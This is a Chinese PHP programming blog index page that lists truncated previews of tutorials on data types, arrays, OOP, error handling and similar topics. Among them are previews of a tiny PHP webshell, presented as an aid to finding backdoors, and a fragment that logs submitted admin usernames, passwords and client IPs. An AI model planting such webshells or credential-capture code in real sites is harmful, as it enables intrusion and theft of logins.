技术开发

php技术

PHP 第二节 数据类型之数值型

阅读(23) 作者(admin)

PHP 支持8种基本的数据类型。四种标量类型:boolean (布尔型) integer (整型) float (浮点型, 也称作 double) string (字符串) 两种复合类型:array (数组) object (对象) 最后是两种特殊类型:resource (资源) NULL (NULL) boolean数据...

php技术

PHP 第二节 数据类型之转换

阅读(10) 作者(admin)

在下列情况下一个变量被认为是 NULL:被赋值为 NULL。尚未被赋值。被 unset()。NULL 类型只有一个值,就是大小写不敏感的关键字 NULL(你可以写成NULL,也可以写成null)。将一个变量转换为 null 类型将会删除该变量并且unset...

php技术

PHP 第二节 数据类型之数组

阅读(14) 作者(admin)

PHP 中的 数组 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型在很多方面做了优化,因此可以把它当成真正的数组,或列表(向量),散列表(是映射的一种实现),字典,集合,栈,队列以及更多可能性。数组元素的值...

php技术

PHP 基于文件头的文件类型验证类函数

阅读(22) 作者(admin)

我这里写了一个验证类,是通过文件头来判断文件格式.(也不是百分之百安全,如果用户伪造了文件头,也能通过验证) 复制代码 代码如下: <?php /** * 检证文件类型类 * * @author Silver */ class FileTypeValidation { // 文...

php技术

PHP 第三节 变量介绍

阅读(25) 作者(admin)

变量名与 PHP 中其它的标签一样遵循相同的规则。一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式,它将被表述为:'[a-zA-Z_/x7f-/xff][a-zA-Z0-9_/x7f-/xff]*'。

No...

php技术

apache mysql php 源码编译使用方法

阅读(9) 作者(admin)

linux 版本 : ubuntu 12.04 今天完成了 php mysql 和apache 的配置 主要是源码配置, apache 主要是 2.4.2 版本 php 主要是 5.3.11 版本 mysql 主要是 5.1.62 版本

前几天试了好几次,出现了软件的源冲突,我放了两个源在...

php技术

几个有用的php字符串过滤,转换函数代码

阅读(18) 作者(admin)

nl2br();// /n to

addslashes(); stripslashes();//对数据库操作时,转义特殊字符

chop();//除去字符串右边空格 trim();//除去字符串中所有空格 ltrim();//除去字符串左边空格

htmlspecialchars();//转换'$','"'...

php技术

php在线代理转向代码

阅读(16) 作者(admin)

复制代码 代码如下: <?php if ($_REQUEST['url']) { header('Location:http://bcd.allowed.org/0/?url='.base64_encode(strrev($_REQUEST['url']))); } else { echo "<form method='POST' action='proxy.php'> url:...

php技术

超小PHP小马小结(方便查找后门的朋友)

阅读(17) 作者(admin)

作者: spider 我也来个超小PHP小马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <for...

php技术

php截取后台登陆密码的代码

阅读(16) 作者(admin)

if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变...

PHP file_exists问题杂谈
php技术

PHP file_exists问题杂谈

阅读(10) 作者(admin)

问题

  公司有个框架是基于smarty写的,我负责php的升级,维护人员把新环境布上来之后,测试人员找我提出经常报错(错误:提示找不到文件的)。   我追踪了一下代码,原来是smarty的这个地方报的错误。 错误:这里报出文件不...

php技术

PHP中的错误处理、异常处理机制分析

阅读(26) 作者(admin)

例: 复制代码 代码如下: <?php $a = fopen('test.txt','r'); //这里并没有对文件进行判断就打开了,如果文件不存在就会报错 ?> 那么正确的写法应该如下: 复制代码 代码如下: <?php if(file_exists('test.txt')){ $f=fop...

php技术

PHP面向对象的进阶学习(抽像类、接口、final、类常量)

阅读(19) 作者(admin)

一、抽像类(abstract) 在我们实际开发过程中,有些类并不需要被实例化,如前面学习到的一些父类,主要是让子类来继承,这样可以提高代码复用性 语法结构: 复制代码 代码如下: abstract class 类名{ 属性 $name; 方法(){} //方法...

PHP面向对象三大特点学习(充分理解抽象、封装、继承、多态)
php技术

PHP面向对象三大特点学习(充分理解抽象、封装、继承、多态)

阅读(20) 作者(admin)

面象对向的三大特点:封装性、继承性、多态性 首先简单理解一下抽象:我们在前面定义一个类的时候,实际上就是把一类事物共有的属性和行为提取出来,形成一个物理模型(模版),这种研究问题的方法称为抽象一、封装性 封装就是把抽...

php技术

php错误、异常处理机制(补充)

阅读(28) 作者(admin)

一、错误处理 异常处理: 意外,是在程序运行过程中发生的意料这外的事,使用异常改变脚本正常流程 PHP5中的一个新的重要特性 复制代码 代码如下: if(){ }else{ } try { }catch(异常对象){ } 1. 如果try中代码没有问题,则...

PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用
php技术

PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用

阅读(23) 作者(admin)

思维导图

介绍   前几篇系列文章,我比较关注的是<PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数>,但是我觉得我还是没有说清楚,我自己也有很多不理解的地方,而且这篇是我的第一篇这方面的文章,有很多的纰...

php技术

PHP中数组的三种排序方法分享

阅读(18) 作者(admin)

一、冒泡排序法 说明:找到最大的数,排列到最后面,然后继续找

例: 复制代码 代码如下: $arr = array(3,5,-1,0,2); for($i=0;$i<count($arr)-1;$i++){ for($j=0;$j<count($arr)-1-$i;$j++){ if($arr[$j]>$arr[$j+1]){ $t...

php技术

php中常用的预定义变量小结

阅读(18) 作者(admin)

复制代码 代码如下: <?php echo "当前操作系统信息".PHP_OS."<br/>"; echo '本文件路径和文件名为:'.__FILE__.'<br />'; echo "当前PHP版本信息".PHP_VERSION."<br/>"; ?>

常用的php预定义变量! 前面的$_SERVER[PHP...

php技术

web目录下不应该存在多余的程序(安全考虑)

阅读(25) 作者(admin)

虽然都会在这些程序前增加一些判断和限制。但除了库文件,还有临时文件,模板文件等这些文件本来就不应该被人直接通过 web 访问到的。无论从安全性还是代码管理方面,把不能访问的文件存放到web目录下。

为什么会有这样...

php技术

php array的学习笔记

阅读(19) 作者(admin)

技术不精,要有错误,还请指出,我会改正。 复制代码 代码如下: header('Content-Type: text/html; charset=utf-8'); echo '<pre>'; function var_array($array) { echo '<pre>'; var_dump($array); echo '</pre>'; } func...

php技术

php 中的4种标记风格介绍

阅读(10) 作者(admin)

今天看论坛的时候,看到一新手的错误代码,看了很久都没发现错误。我正纳闷呢?(这是为什么呢?)呵呵。 后来才发现标记问题,他使用的是短标记。而我的php.in配置里并没有开启它。哎惭愧呀!

1.xml风格(标准风格推荐使用)复制代码...

php技术

php文件操作实例代码

阅读(22) 作者(admin)

先送上一段简单的实例 复制代码 代码如下: <?php if(!is_dir('txt'))//判断txt是否为文件夹目录 { mkdir('txt');//创建名为txt的文件夹目录 $open=fopen('txt/in.txt',"w+");//以读写的方式打开文件 if(is_writable(...

php技术

PHP图片验证码制作实现分享(全)

阅读(21) 作者(admin)

就如今天遇到随即函数rand();脑海中想到用它做点啥好呢,最后想起了验证码,数字验证码,字母验证码,中文验证码,可是自己不会呀,咋办呢,上网搜,看别人的代码,开不懂,看视频,听老师讲,将其中所遇到的函数,值得注意的地方都拿笔记下,平...